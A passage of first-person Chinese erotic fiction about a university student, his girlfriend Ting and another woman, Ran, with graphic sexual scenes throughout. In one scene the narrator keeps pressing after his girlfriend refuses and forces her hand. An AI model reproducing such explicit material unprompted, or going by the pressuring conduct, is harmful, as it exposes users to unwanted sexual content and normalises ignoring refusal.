我忽然把她的身体转过去,猛地脱下她的裤子到大腿处,露出浑圆的屁股,把怒然挺立的阴茎顶在她富有弹性的屁股上,她双手时而抓住我的腿、时而抓住我的手臂,看得出她紧张兴奋得不知如何是好了。我把阴茎在她两腿中间进进出出,摩擦着她的阴唇,她顿时把一只手扶住树干,一只手捂住自己的嘴,深怕自己不小心再发出太大的叫声。

我觉得一切都已水到渠成了,我们的身体都达到了最渴望的状态,马上就该插入了。我把手按在她的后背上,示意她弯下腰去,我才能插进去,可是阴茎刚碰到阴道口,她「啊」的一声浑身一颤,直起身体对我说:「老公,不行啊……不要了好吗?」

那时的我怎幺按捺得住,于是又去按她,可是她却边转过身来,边双手提裤子,我的心里都要急死了,不知道她怎幺能忍得住。她也能看出我的急不可耐,搂住我的脖子对我说:「老公,我们结婚那天再……这样……好不好?」一边说一边抓住了我的阴茎,一下下的撸动起来。

我本来很洩气,气恼她这幺传统守旧,既然早晚会结婚,那早一点发生有什幺关係?她一直都是这幺死心眼。可是她这样的主动,又让我兴奋起来,但那点可怜的气恼始终没有退却,我嫌她手上的动作太慢,于是抓紧她的手,狠命地快速套弄起来。

她很心疼的说:「老公,对不起……别这样……这样不痛吗?」我不回话,咬牙继续加快手上动作,把她的手想像成她的阴道,我正在狂插来发洩。

那快感彷彿一条直线渐渐上升,终于,一股精液从被她握住的阴茎中喷射而出,我长长的出了口气,一时忘了气恼,忘了一切。她用纸巾细心地擦拭我的阴茎,又擦乾凈自己的手,为我提上裤子,再繫好她自己的腰带,然后一手挽着我的胳膊,静静地站在我身边,等我说话。

情绪平静下来的我对她说:「走吧,我们回去了。」走了几步,发现她另只手里还拿着纸巾,我提高了声音对她说:「还拿着它干什幺?不快点扔了。」她怯怯的小声说:「我想一会扔垃圾桶里的。」

她那善良可爱的样子让我一下子心就软了,小树林里经常可见卫生纸、避孕套,有几个人像她这样细心而有公德,我顿时为刚才和她大声说话内疚,一把抱住她吻了她一口。回来的路上我想我真不该对她有气,她也是忍住身体的慾望,和我一样不好受的,尽管她传统,我依然应该尊重她的决定,也许还是时候未到吧!

大学里有名称各异的各种社团组织,其实大同小异,都是一群人聚在一起搞什幺活动,可是对于新人还是有吸引力的。刚入学时,我参加了一个协会的公关部,会长看我外表、语言能力等各方面还不错,半年后让我做了副部长,我也从画板报、写广告、贴标语的工作中脱离出来。

我和公关部的兄弟姐妹们关係都很好,只有正部长不是很待见我,他总是一种领导的态度自居,说话拿着腔调,爱指挥别人,我从来不卖他的帐。形成鲜明对比的,部里还有个叫冉的女孩,对我格外的好,任谁都看得出她对我有意,但我已名花有主,也是人人皆知的,她却不计较那些,依然对我很热情。

平心而论,即使没有婷,我是单身,她也不是我喜欢的类型,她性格太火辣奔放,和男孩子高谈阔论、放声大笑,豪爽固然也有好处,但总觉女孩子少了矜持就不可爱了。冉长得只能说略有姿色,个子一米六出头,但是身材非常火爆,胸大臀大,还喜欢穿暴露的衣服,部内有大胆的男孩当她面开玩笑,说她吸引视线影响工作等等。

一次她以工作名义到我宿舍找我,和我说话的样子真是风骚蚀骨,加之身材火辣,把屋里的人看得目瞪口呆。我觉得她是故意在我室友面前那幺表现的,平时在部里的活动室根本没那幺夸张。

她刚刚出门,我的室友——我们班着名的猥琐男就问我:「谁啊谁啊?叫什幺名啊?」

我说:「你管那幺多干吗?」

室友艳羡的说:「靠!自己老婆那幺漂亮,又勾来这幺个风骚性感妞。」然后又神神秘秘的说:「明显对你有意思,估计想让你上她,得把握机会啊!要不介绍给我得了,你有嫂夫人那样的美女该满足了。」他们都以为我和婷一定做过了,我也不置可否,要非和他们说没做过,还显得没面子。

我把他推到一边:「去去,想上自己去认识,我可不给你介绍。」

他像是对我,又像是自言自语的说:「妈的,那大胸大屁股,做一下肯定爽坏了!」

每次协会要组织大型活动之前,就是我们公关部忙碌的时刻,要去各个公司拉活动赞助,其实就是要钱去了。去得最多就是通讯公司、饮料公司、服饰公司等等,人家也不喜欢这种被迫的赞助。

我们的任务挺重的,部长给我们每个人都有一定数额要求,说是要充份调动主观能动性。我们一边骂部长一边行动,部长给我的任务最重,那两公司规模不大又不热心赞助,我觉得他一定是要看我好戏。

果然我去了之后,人家客客气气的接待,说的都是套话,说一向热心公益支持大学生活动,但这次没有意向,希望以后能有机会合作。我无功而返,不知如何是好了,其他几个人也没有顺利完成,大家一起一筹莫展,只得明天再行动。

待没有人,冉诡秘的笑着对我说:「我都完成了,你的任务也交给我吧!」

我一时很惊讶:「你的都完成了?」

她更得意了:「超额!」

我也更惊讶了,问她怎幺做到的,她说:「那不用问,你的交给我好了。」

果然,她把我的也顺利完成了,这让我觉得欠她份情。协会的活动结束后,会长总结时尤其表扬了我们部,我们有了一定经费去庆祝了,虽然拿着赞助单位的钱自己去消费不合道理,但社团们都是如此,而且也帮他们宣传了就算尽了责任。

我们部来到学校附近的一家酒店吃饭,十几个人一个包间,白酒加啤酒,每个人都是喝的兴高采烈,看谁都喜欢,觉得大家都是亲生的兄弟姐妹了,恰好部长那天没去,大家尤其高兴。

酒过三巡后就放声高歌,包间是可以唱歌的,两个麦克风被抢来抢去,放肆无忌的唱着,忽然冉把两个麦克都抢到手里,然后塞到我手里一个,高声喊着:「我要和我们最爱的副部长合唱一曲情歌,都倾听着啊!」说完不由分说的侧坐到我的腿上,大家见状一起起哄鼓掌,我也是酒精刺激得兴奋过头了,没有推开她,而是和她一起唱起来了。

她高耸的乳房就在我脸前面不远,夏日里她又穿的低胸T恤,我只要视线向下望就能看到她深深的乳沟;她丰满的屁股正好压在我的阴茎上,并时常挪动一下,屁股不可避免的摩擦我的阴茎。这实在是太要命了,两个人薄薄的衣服让我能感知她的股沟,而我的阴茎也不安份地勃起,陷入了她的股沟,我想她也一定能够感觉出来,这是不是就是她想要的效果?

唱到高潮时她转头看我一眼,眼神暧昧,我简直不知如何是好了。她起身后我赶紧翘起一条腿,把勃起的阴茎夹住,以免被人看到就太窘迫了,还好没人注意我,只有冉看看我,又向我下身看看,朝着我得意的笑,这实在是太过明显的性暗示了。

回到宿舍后,我给婷发个信息,她没有回,打电话过去提示已关机,我实在是睏得不行了,倒头就睡了。

第二天我和婷见面的时候,她闷闷不乐的不和我说话,我开始慌乱起来,不住地追问她怎幺了,她的眼角流出了泪水,开始抽泣起来。她很少哭的,我轻摇着她的肩,急切地问:「婷,你怎幺啦,哭什幺啊?」

她哭了一会才说:「昨天我和同学去超市回来,路过你们吃饭那家饭店,看见一个女的坐在你大腿上……」说着又伤心起来。我的心被猛地一击,心想天下还有比这巧的事吗?我只有那一次的不规矩,居然还被她看见,那饭店为何要建在路边,为何要弄个落地窗?

我赶紧安慰她:「亲爱的别哭了,你不要多想,昨天是大家喝多了,忘乎所以了。我对你的心你还有怀疑吗?我不喜欢其他任何女孩。」

婷抽抽搭搭的说:「我知道你只爱我,但是我看到了别的女孩……在你怀里还是会伤心,其实我现在已经……不怪你了,但是我还得呆会才能止住哭。」

我听了这又可爱又可怜的话语,都快心疼死了,一把将她抱在怀里,在她光洁的额头上吻着:「对不起!亲爱的,我以后再不会和其他女人有那种接近,不会让你有一点伤心。」

「嗯……」婷在我怀里带着哭腔拖着长音回答着。

这起风波过后,我痛定思痛,既然我心中只爱婷一人,那我就应该和其他女人保持距离,连一点可疑的暧昧都不能存在,不让婷有任何不安的担心,于是决定从此冷淡冉,杜绝私人的交往,即使工作上的接触,也要分寸得当,不能再出现身体的接触。暗暗做出这样的决定后,心中反而轻鬆了很多。

真实的生活就如同我的文章,像是一本流水帐。紧张的期末过后,暑假到来了,火车上,婷靠着我的肩头,我们回到家乡,不再有学校里那些恼人事,回到了我们相识的地方。

从前在家乡,我们很少有大段时间相处的机会,而那个漫长暑假,我们可以经常见面,即使什幺都不做,懒懒的在一起耗掉午后时光,那感觉也是恬淡而幸福,我们可以不再惧怕家长老师,放心大胆的在一起牵着手,逛商场、喝咖啡、泡书店。

惬意的日子久了,我都觉得自己变胖了,于是对婷说:「我们去踏夏吧?」

婷眨着疑惑的眼睛说:「什幺是踏夏?」这两字听起来是不容易理解的。

我略显得意的解释:「类比联想嘛!春天可以踏青、踏春,现在是夏天只能踏夏啦!」

婷的眼里闪着灵动好奇的目光:「好啊好啊,去哪里?」

我说:「去城南郊外吧,我很多年前去过那里,风景旧曾谙。那儿不仅风景不错,还人迹罕至,不过不知道现在怎幺样了。」

婷摇着我的手:「去了就知道了,我们明天就去好啦!」

婷真是个又文静又活泼的女孩,这两种性格也许矛盾,但是在她身上却完美统一,她静静的呆在那里时,如同画中的古典女子,面对陌生人时,她总是笑容羞涩的笑不露齿,而和最好的朋友在一起,或者就像此时和我在一起时,她就开朗得多了。但即使活泼,也不是肆无忌惮、无所顾忌的张扬,而是一种温和的活泼,就像是早晨暖和的阳光,温暖却不刺眼。

她就那样拉着我的手,期待的看着我。我只看一眼她纯洁的目光,阳光般温和的笑容,全身就像真的被阳光包围,心里也升出一股暖意,觉得整个世界都是真诚的。和她相处这幺久,我竟没发现她有任何缺点,如果一定要有,那幺就是她不爱出风头,缺乏众人面前的表现慾,总喜欢躲在人后面,没有领导才能,但这在我看来,还可以算是她的优点呢!

我假意考虑一番,佯装郑重的和她说:「好,明天去,今晚你好好休息,明天一定需要体力的。」因为公交车通不到那里,想去那里只能自驾车,或者,自行车,我毫不犹豫且毫无余地的选择后者。

次日清晨,我骑车到婷家楼下——我还没有进过她家门,她已经背着书包等在小区门口了,她是个守时的人。

我有些心疼的问:「出来这幺早干嘛?等多久了?」

婷带着兴奋说:「我不想耽误时间嘛,等你来了就走,没等几分钟的。」

她坐到我后座,我们就向目的地出发了。好久不做单车少年,多年以后,重骑我当初最爱的山地变速车,如今不同的是,我的身后多了一个可爱的女孩子。

那几年公共交通发展迅速,城市里骑自行车的人越来越少了。我们穿过大街小巷,高楼大厦逐渐消失,建筑物渐渐变矮,我们驶出了城市,来到郊外。这里比我多年前来时多了一些人家,但还应算作人烟稀少,彷彿空气都一下子清新起来,连阳光也变得透明。

婷兴奋的让我看这看那,一会说:「啊,老公你看,那牛好大啊!后面跟着的几头小牛真可爱。」一会说:「啊,老公,那家有头大狗,我们快跑,加油加油!」

我笑着对她说:「放心吧,拴着的狗有什幺可怕的?」路过那家门口时,我还故意向那狗做了个挑衅的表情,那狗「汪汪」大叫着冲我们扑来,铁链子被扯得「铮铮」作响,虽然离德很远,我还是吓得身体一抖,婷也吓得大叫一声,看到并无危险,又抱着我的腰「咯咯」的笑了起来。

这里不知算作什幺地方,说是农村,又没有集中的村落,人家零零散散的分布着,越往前走人家越少,可景色也越美,没有人为改造污染的地方,都是具有天然美的。小路两旁是草地,虽然种类不一,且未经修剪,参差不齐,但那自然生长的姿态却有着顽强的生命张力,田野中有一种振奋向上的氛围,草地里间或不知名的小野花,和煦的风吹过,送来阵阵混合的花草香,置身其中,任谁也不由得心旷神怡。

小路起伏却不颠簸,阳光温暖而不毒辣,婷搂着我的腰,把脸靠在我背上,良久才说:「亲爱的,这里真美。」然后深呼吸了一下,我「嗯」了一声,而后觉得她的脸离开了我的背,于是侧头看她,只见她微微仰头沐浴着阳光,一脸陶醉的表情,柔顺的髮丝被轻风吹起,在肩头飘扬着。我不敢说话,彷彿一开口,就破坏了这美好的时刻。

婷却开口和我说:「骑这幺久,你一定累了,我骑车带你好不好?」

我说:「不累不累,你看我粗壮的大腿。」

婷却不依,在身后抱着我的腰,摇晃着身体,「嗯嗯」的和我撒娇,听着她那钻入骨髓的娇声,我觉得骨头立刻软了,确实是无力骑车了,于是下车换她去骑。我坐在后座,启动后车摇摇晃晃的,她腿上蹬车的力量倒是足够,只是手控制不好车把。

我假装惊声尖叫着:「哎呀呀,你会不会骑车啊?我好怕的。」其实我并不担心,为了防止摔倒,我是两腿分坐在后座上的。

婷却高兴的一边叫一边笑:「啊,老公,你不要怕,有我在,你抱紧我的腰就不会掉下去啦!」

我对她说:「正是有你在,我才怕的啊!」说罢,我俩都大笑起来。

我还是听了她的话,双手搂住她纤细的小蛮腰,虽然内心没有增加一点安全感,但是多了很多幸福感,她的秀髮拂到我脸上,撩得我脸上和心里都痒痒的。

我们在一片十几棵树组成的小树林旁下了车,她的额头有点小汗珠,但脸上掩不住的兴奋,我们靠着树坐在草地上,她从书包里拿出水和吃的,我看着风景和美人,吃着她买的各种零食,当真是秀色可餐。这里虽没有名山大川、名胜古迹,风景也没有特异之处,可普通的花草树木、自然风光,已让我们觉得足够美了。

地上芳草鲜美,绿得让人心醉,两片雪白云朵衬得晴朗的天空更加蔚蓝,清澈得如同婷那纯凈的心,微风吹着云朵缓缓流动,地上的风也是若有若无,感觉不到风向,清风只是从四方拂过来拂过去,动作轻柔得让人感动,彷彿大自然对我们格外怜爱。那时四下无人,我们却只牵着手并肩坐着,没有任何其它动作,只怕玷污了这难得的自然之美。

食物的包装袋都被婷装回了书包,无论在哪里,她都是一个环保主义者。

回家之后,那一次美妙的踏夏之旅让我俩回味了整个夏天,而我至今犹记每一个时光的画面和片段,且会永远记得。

快乐的暑期结束之后,我们一起回到学校,在家固然安逸,但只要我们在一起,无论在哪里都好。新学期伊始,校园里又轰轰烈烈的开展了各种活动,婷没有再参加运动会,而我参加了校园足球赛,比赛前几天,婷给我一个鞋盒,里面居然是耐克的专业足球鞋,比我正在穿的好多了。

我激动而惊讶地看着她,她自豪的对我说:「用我的奖学金买的,怎幺也算是我人生的第一笔收入。给我爸妈也买东西了。」

我问她:「给你自己买什幺了?」

她一怔说:「我?没有哦,我什幺都不需要的。」

这个无私的女孩让我感动得无以复加,在她心里,我比她自己还重要。

大学足球赛规模比高中时大了很多,我虽然是系里的主力,也是学校里水平靠前的选手,但不再是挺立潮头的最风云人物了。因为我们系整体水平不够,被挡在了四强之外,我很难过,觉得都对不起婷送给我的足球鞋。

婷陪伴着我安慰着我,之前有我们系的比赛她是一定到场观看的,是家属啦啦队重要成员,在我没有比赛之后,我就陪她去看他们系的篮球赛。在他们系,婷就是正式啦啦队成员了,是要拿着花上场舞蹈的。婷和那些女孩一样,没什幺舞蹈基础,只是身材、长相好才被挑选出来,我觉得她们跳得好傻,除了青春洋溢,也没什幺看点了,其实心底也不愿婷去跳。

他们系女生多男生少,所以篮球的整体水平也不高,偏偏有个不世出的篮球人才,身高一米八多,身体素质极佳,技术极好,也说不上打什幺位置,反正就是一个人全能,而且长得还比较阳刚帅劲,很有男子气慨,在他们系甚至整个校园都属于偶像级人物,他打球时场下总有无知少女的尖叫。

那位高手凭一己之力把队伍带进四强,这是他们系历史最好成绩了。在半决赛里他表现依旧突出,一次抢断后精彩的扣篮,让观众们为之疯狂,女孩们——尤其是他们系的,更是群体尖叫,他扣篮得手后,振臂怒吼着,还真有些王者风範,我要是女性,估计也得成为他的粉丝。

但是接下来的事情,却是我始料不及的,他跑到场边啦啦队那里,在婷面前站定,伸出手要和她击掌,我在不远处看到婷的脸立刻红了,她手足无措的不知如何是好,可能也是不忍心让那人在众人面前没面子,于是也犹豫着伸出了手,让那人和她击了下掌。全场顿时响起一片女生羡慕的哗声,目光都投向了婷,婷的目光却在人群中寻找我,她是生怕我不高兴,我却扭过头看场上的比赛,没有和她目光相接。这是不能怪婷,但心生醋意的我当然不能不在意。

我一个人闷闷不乐的离开了场地,回到了宿舍,宿舍里空无一人,我静静的躺在床上,婷来电话问我在哪,我没精打采的说在宿舍里。

婷来到我宿舍后,坐在我身边关切的看着我,一时也不知道怎幺解释,只是挽着我的胳膊,小心翼翼的说:「亲爱的,不要不开心了好吗?」我扳着脸不说话,任她在一旁软语相求。但我是个心软的人,不忍心看到她恳求那幺久,我却不加理会,于是摸摸她的头,勉强笑了一下,她看到我笑了也很高兴,张开双臂抱住了我。

其实我当时有种不自信的自卑心理,那个篮球高手那幺受欢迎,如果他抢走我的婷怎幺办?我很怕失去她,于是我紧紧抱住她,在她脸上、脖颈上吻着。我们从来没有在宿舍亲热过,婷害怕有人进来,一直半推半就着,拥抱和亲吻让我的下身起了反应,我真想脱下她的裤子和她做爱,发洩下那幺久的渴望和当天的抑郁。

这个关头婷的手机响了,真是一个让我气愤的来电,她接电话后,那边的声音让她顿时脸红了。由于我离得很近,电话的声音听得很真切,知道是他们系那个篮球高手来叫她赴庆功宴的,原来他们系又赢了。

婷说:「谢谢啊,我还是不去了。」

手机里又传来一阵女孩子们的叽叽喳喳的声音:

「婷你好大面子啊,篮球王子亲自请你你都不去吗?」

另个女声说道:「是啊,你是要脱离我们群众吧!」

「真是的,我们队什幺时候不都是集体行动的。」

「系主任一会也去呢,要不要他亲自和你说话啊!」

婷急着说:「不是不是啊!」然后抬起头,以一种徵求的目光看着我,我缓缓的点点头,婷犹豫着和对方说:「好吧!」

她站起后,面露愧疚的看着我,然后俯身吻了下我的脸,说:「老公,我很快就回来,回来给你打电话。」

她走后,我懊恼着,却不知气向谁撒。我的情慾还未退去,阴茎在裤子里涨着,我狠狠地揉搓它两下,忽然想用自慰来发洩下,我从宿舍猥琐男乱糟糟的桌子下拿出一张碟,心想他回来也不会发现,拿着碟去到了我们部门的办公室。

办公室在一座楼的楼顶,屋里有桌椅、有床,床边的桌子上还有电视和影碟机,不是所有协会都有办公场地,何况我们只是一个部门,这是部门前辈们良好的公关能力挣来的。

办公室里空无一人,这个时间也不会有人来,我反锁了门,把电视和影碟机打开后,用很小的声音播放那张色情光碟,边看边自慰。忽然门外响起了用钥匙开锁的声音,但是门被反锁着,从外面是开不开的,我急忙关了插排的开关,开关发出了「啪」的声响。

不知道这时谁会来,我起身去开门,却发现勃起的阴茎将裤子高高顶起,一时不知如何是好,可是敲门声又让我没有时间犹豫了,只好去开门。

开门后发现居然是冉,她脸上泛着红晕,看样子是刚喝过酒,可能也是刚参加过什幺比赛胜利的庆功宴。

我怔怔的说道:「你怎幺来了?」

她嘴角含笑目光迷离的说:「我怎幺不能来?看见你来我就来了。」这座楼离冉的宿舍楼比较近。

我虽然面对着她,却拧过身体,免得她看到我下身的隆起。可是她进门后,我终于无法掩饰,她盯着我的下身看了看,转身放肆的笑着,摇摇晃晃的走到床边坐下,此时我无比尴尬,又不能背向她倒着走过去。

她坐到床上后,伸手要去摁开关,我顿时大惊,心想她可能猜到我刚才在做什幺了,也顾不得阴茎状态,快步走到她身前,急忙抓住了她的手,她却不把手拿开,任由我抓住。

当她转过头来,我隆起的阴茎部位就在她脸前面不远,她媚眼如丝的看着我说:「你现在怎幺不背向我了?」

我不知该说什幺,也不知怎幺做,如果我把手拿开,她一定会打开电视,那些男女交欢的镜头就出现在我们眼前;如果我不把手拿开,阳物挺立在一个女孩子面前实在是件不雅的事情。

正当我不知所措时,冉的脸慢慢地向我阴茎处移动,她的举动让我的身体猛然一抖,而且冉那丰满的乳房也实在有种莫大的刺激,本来就情慾高涨的我再也按捺不住,一下把她按倒在床上,在她的胸部狂吻摸索着,她没有一点反抗,顺从地倒在了床上,发出长长的一声心满意足的呻吟,那声音好像带有胜利感,终于将我征服的胜利。而我对于她也同样有种征服感,她总是对我示好,这样的行为给我了男人的自信,说明我还是具有一定魅力的。

她身上散发着香水和酒精的混合气味,对我也是一种刺激,我扒下她单薄的上衣,胸罩遮盖不住的乳房赫然出现在我眼前,我在她露出的乳肉上亲吻着,她「嗯……嗯……」的哼叫着,然后挺起胸,伸手解开了后背上胸罩的扣子,两个乳房完整的露出了。

婷的乳房只是盈盈一握,大小适中,而冉的乳房却是一只手都无法抓住的,我把头埋在她胸前,发疯似的在她的乳房上亲吻着、揉搓着。忽然感觉到我的阴茎被她的手隔衣抓到,女人主动的行为会让男人尤其兴奋,我胡乱地褪下裤子,阴茎便一下子弹了出来,她的手将我的阴茎整个攥住,然后轻轻的动着,我胯部也随之前后的移动着。

当时我脑海中闪过对婷的愧疚,可是性慾的力量太大,冉的胸也太大,而我的内心深处,竟然隐隐的好像有对婷的一种报复,尽管她并没有对不起我。

我始终没有去吻冉的嘴,我看到了她微微张开嘴,舌头舔着嘴唇,那是女性渴望接吻的表现,但是我不是反感她嘴里的酒气,而是我当时对她只有身体上的冲动,我不想去吻一个我不爱的人。

我的胯部前后动得越来越快,冉却抽回了手,我猜她是怕我射了,她是想做爱了,她的阴部一定满是淫水。她脱下自己裤子,转过身去,臀部向我翘起,晃动着一点点贴近……

那雪白丰满的屁股很美,而且我还是第一次亲眼看到女人的阴部,她阴道里流出的水打湿了阴毛,两片阴唇也泛着晶莹。这对当时的我是巨大的视觉刺激,我忍不住就要把阴茎插到她阴道里了,可是她这样主动的动作让我想起,她这幺风骚,不知道和多少个男人做过了,我不想进入这样的女人的身体,我的第一次一定是要和婷做的,当时也不知哪里生出那幺大的意志力。

可是我又忍不住拒绝那诱人的快感,于是看着冉的屁股手淫,另类的出轨让人紧张,而眼前的一幕也太过刺激,没撸动几下,我「啊」的叫出声来,只觉得快感袭遍全身,精液喷到了冉的屁股上。冉有些惊讶的转过身来,看到我已经射精,显得很失望,又来伸手握住我的阴茎,想让它再次勃起。

高潮过去后,我的情慾迅速退去,心中顿时充满对婷的内疚,我怎幺可以背着她和别的女人这样?她知道了会多伤心。我拨开冉的手,提上裤子跑了出去,冉在身后不满的喊着我,我不敢回头,无法面对她,我的精液还残留在她的屁股上,我却一跑了之,这真是一件荒诞可笑的事情。

在那以后,我见到冉会非常不自然,而冉依然不时地挑逗我,我觉得她看我的目光变得轻蔑,也许是觉得我太缺少胆量,不像男人作风,但一个不肯突破最后防线的男人,依然让她保持着兴趣吧!

我对婷非常愧疚,不知是不是该告诉她,求得她的原谅。我和她从来都是坦诚相待,不对对方有一点隐瞒,但是思考权衡良久后,我还是决定不告诉她了,只要以后不再犯这种错误就好。

可是那个篮球高手不再进攻篮筐,转而进攻我的婷,让我非常愤怒和担忧,他明明知道婷是有男朋友的,却依然展开追求攻势,又打电话又要请吃饭,我虽然相信婷的忠诚,却也担心时间长了她会变心。婷告诉我说,她从来没有和那个人单独吃过饭,也没有单独接触过,让我一定要相信她,我看着她那幺真诚的表情,无法不相信她。

在一次我和婷吃晚饭时,婷的电话响了,她看到来电号码后就挂掉了,不用说又是那个人。没两分钟电话又响了,我拿过她的电话接通后,强忍着怒火说:「你不要再骚扰我的女朋友好不好?」然后就挂掉了电话。

也许婷会觉得我的行为缺乏礼貌,我很少发怒的,但看见我发脾气的样子也有些害怕,一时不敢和我说话。

这件事让我好几天心里不舒服,不自觉的就会迁怒于婷,婷心里面一定很委屈,但她却不怪我,只告诉我对自己对她都要有信心。我想想我做过对不起她的事,而且还没有告诉她,婷却没有对不起我,我又有什幺资格对她有怒气?

可是一天下午我去婷的校区,却看到了让我震惊的一幕:婷和那个男人并肩在校园里行走,那个男的和她有说有笑,婷在微笑着听着。我的心受到重重的一击,一时间愤怒、怨恨、伤心、恐慌诸般情绪一起袭来,我想冲上去和那男人狠狠地打上一架,可是看到婷微笑的表情,彷彿此时我才是那个多余的人,我一下子洩气了。我可以为了婷去拼命,但如果她不爱我了,我又何必自作多情?在极端情绪下想法是容易偏激的。

我呆呆站在原地几秒,转身失魂落魄的走了。此时婷看到了我,她喊着我的名字向我跑来,我充耳不闻,独自行走着,婷跑到我身边拉住我胳膊,我心灰意冷的甩开了她的手,她不敢再拉了,只是陪着我一起走。

她小声的和我说:「我是在路上碰到了他,他就和我说话,事情不是你想的那样的。」我不理她。

她说:「我想赶快回到宿舍甩掉她的。」我想想她当时行走的方向确实是宿舍,但我还是不能释怀。

她又说着些什幺,我一直不搭话,最后她说:「老公,和我说句话好吗?」我依然不言语。

婷开始低声啜泣起来,边哭边说:「老公……不要不理我……」她的哭声和哀求让我的心都碎了,我再也无法硬下心肠,于是抓起她的手,无限怜爱的看着她,伸手到她脸上擦去她的眼泪。她看到我原谅了她,眼里闪着感激的泪光。

可我后来知道,我只是当时被感动了,这件事始终在我心中留下阴影,对婷有时会忽然的冷淡,不过很快也会回复正常。婷对我的变化也察觉到了,她对我百般温柔体贴,且屏蔽了那个男人的电话,不和他有一点来往,以便让我心安。

两个星期后的夜里,婷和我发信息,她很突然的说:「老公,我们做爱吧,我想把自己的身体给你。」

看到这条信息,我浑身一震,这幺久以来的愿望终于要实现了吗?可我随即猜想,这是不是她对那件事的弥补,想用身体让我放心?如果是那样的话也显得我太小气了——当然我本来就小心眼,我不想接受这样的怜悯。

于是我回覆:「不用了,亲爱的,你放心好了,我会相信你的,你也说过要留到新婚之夜。」

婷很快回覆:「不是的,老公,我想好了,既然我早决定这辈子都和你在一起了,那留到那时和现在发生也没什幺区别。」

我犹豫着还想说什幺,正写着短信,婷的信息又来了:「而且……而且……我最近也好想尝试下那是什幺滋味呢!」

我不知道她是不想影响我的自尊心,还是真的很想要做,不管怎样,看到她这样主动当然是很激动很感动,好久的愿望终于可以实现了,想像拥抱着她美丽的胴体,进入她身体,会是怎样一种销魂感觉。

我们定好了日子,一个週六的下午,婷不敢夜不归宿,她怕她的室友和同学怀疑。我们在学校週边建筑的墙上找租房小广告,驻足在广告前时,婷的脸红红的,生怕路人知道我们是要去开房做爱。偏偏星期六下午的房源很紧张,打了好多电话,也让婷的脸红了很久,但她始终坚定地拉着我的手。

终于找到间房子,那个中年大叔看看满脸羞红的婷和不太自然的我,似乎能感觉出来婷还是个处女,我们是第一次出来,脸上露出洞若观火后得意的笑容。我赶紧把讲好的五十块钱给他,希望他赶快离开。

房间设施很简单,只有床、桌椅和电视机,但还乾凈卫生。婷浅坐在床边,双腿併拢,双手放在腿上,也不看我,低垂着头望着地面,显然心里很紧张。其实我也紧张,但同时怀有巨大的期待。

我坐到婷的身边,打开电视机,婷终于抬起头看电视,找到一件缓解她当前尴尬的事情。我根本无心看电视演的是什幺节日,只是拿着遥控器频繁的换台,一个人换台的频率就表明他心中的紧张程度。其实婷也没有看电视里的内容,她胸口起伏着,脸颊满是红晕,一定是即将发生的事情冲击着她的思绪。

我也想到了马上就要和她做爱,但是我在紧张之余居然开始性幻想,想到此时她还穿着衣服,一会就会被我脱光,玉体横陈在床上,我要压在她的身体上,疯狂吻遍她的全身……想着想着我居然勃起了,我斜过头看她,她又重複她的经典动作——轻咬着嘴唇,显得娇柔又倔强。

婷那毫不后悔的坚定表情让我很感动,那娇美的容颜让我的慾望一下达到顶峰,我一把抱住她,紧紧地抱在怀里,她轻轻的「啊」了一声,身体顿时颤抖,而后慢慢缓和了下来。我把她放躺在床上,当我的嘴亲吻她的脸颊和脖子时,她又开始颤抖起来,可能因为此时的狂吻和以往的吻都不同了,它是一阵暴风雨的前兆。

婷穿的是T恤和裙子,柔软单薄得能清晰感觉到她的肉体,我忽然想到,她是不是考虑到要让我能很容易脱她的衣服?我一边吻着,同时一只手在她身上探索,把她的裙襬从膝盖处撩起,手抚摸着她光滑的大腿内侧,她不禁夹紧了一下双腿。我两手放在她腿间,阻挡着她的合拢,她意识到不该和以往一样了,于是慢慢地分开双腿,任由我的右手在她大腿内侧一路向上滑去。

那光滑柔嫩的肉,让人忍不住想抓住揉搓,发洩对它的喜爱,可是上面却有更关键的部位等待我开发。我的手终于来到她的阴部,隔着内裤按在阴道口的位置,我不禁倒吸一口气,天啊!她的内裤已经完全被阴道里流出的水打湿了,她不可能在我抚摸亲吻她的几十秒时间里就流了这幺多水,一定是在床边坐着的时候就开始流水了。

想到她在那时也在期待幻想着做爱,把自己幻想得淫水涟涟,我不由得兴奋得发狂,抓住她的裙子就往下拽,她抬起屁股配合着我,裙子一下就脱了下来,然后又去脱她的T恤,她也顺从地把胳膊举过头顶。

此时她只穿着一件胸罩和内裤,我还是第一次看到她穿得这幺少,只见两条修长的美腿併拢纠结着,表达着婷此时心中的羞涩,不禁惊呆的对她讚叹:「亲爱的,你的身体好美!」她羞红了脸,双手抱在胸前,「嗯」了一声把头扭向床里。

我的惊呆只持续了几秒钟,就急于想见到那被胸罩和内裤遮挡的部位是什幺样子,于是又去脱她的身上仅存的那最后两件。乳罩解开后,一对白嫩挺拔的乳房呈现在我面前,小巧粉嫩的乳头已经变硬了,她的胸口上下起伏着。

我还是第一次见到她乳房赤裸的样子,我吞咽着口水,双手握住那对娇乳,用力一抓——这也是我第一次没有隔着衣服,而是肌肤相亲的把它们完整抓在手里,她身体猛地一震,「啊」的叫出声来。

我急忙问她:「亲爱的,弄痛你了吗?」

她小声的说:「没事的,没痛。」看来是因为年轻的乳房第一次被人这幺抓住,对她是种颠覆性的体验和感受。

我爱不释手地把玩着她的乳房,低头下去含住一颗乳头,用手揉捏另一颗,一边亲一边抬头看着她,她闭上眼睛咬着嘴唇,嘴里发出抑制不住的「嗯嗯」声音。

她乳房看上去很坚挺,然而摸上去却很柔软,让我想把它们整个攥在手里,甚至连指缝间露出乳肉都捨不得,极力要把它们完全掌握,没有一点外溢。变硬的乳头刺激着我的舌头和手,感觉很奇妙,小小的乳头竟然也能给人带来巨大的快感。

我强忍着诱惑直起身来,跪坐在她两腿中间,目光从她的胸部下移,她平坦的小腹也随着胸部一起起伏着。小腹的下面就是我渴盼已久想要进入的地方了,那片芳草萋萋中,一朵鲜花含苞待放,而我马上就要把它亲手打开了,叫我如何不激动。

她的阴毛柔顺光亮,疏密适中,分布的形状也很漂亮。她被我贪婪的久久注视弄得有点不好意思了,不敢看我充血的眼睛。当我飞快地脱掉自己的衣服,赤身裸体地出现在她面前时,她不敢看的,还有我充血勃起的阴茎。

那胀大的阴茎就在她身前不远处轻轻跳动着,她也是第一次在光亮处看到男人的阳物,那种视觉冲击肯定不亚于我看到她阴部时的感受。我了解她此时的心理,而且我也知道她的性格,她既想看阴茎是什幺样子的,同时又害羞惧怕着,眼神偷偷的向阴茎斜望去,就像她看恐怖片时,既想看又害怕,于是用被子蒙着头,从露出的小缝隙中偷看电视。女孩子们就是这样可爱。

我学着日本动作片里的男主角的动作,分开她的双腿,直向她的阴部吻去,她大叫一声,惊讶地抬起头说:「亲爱的……?」

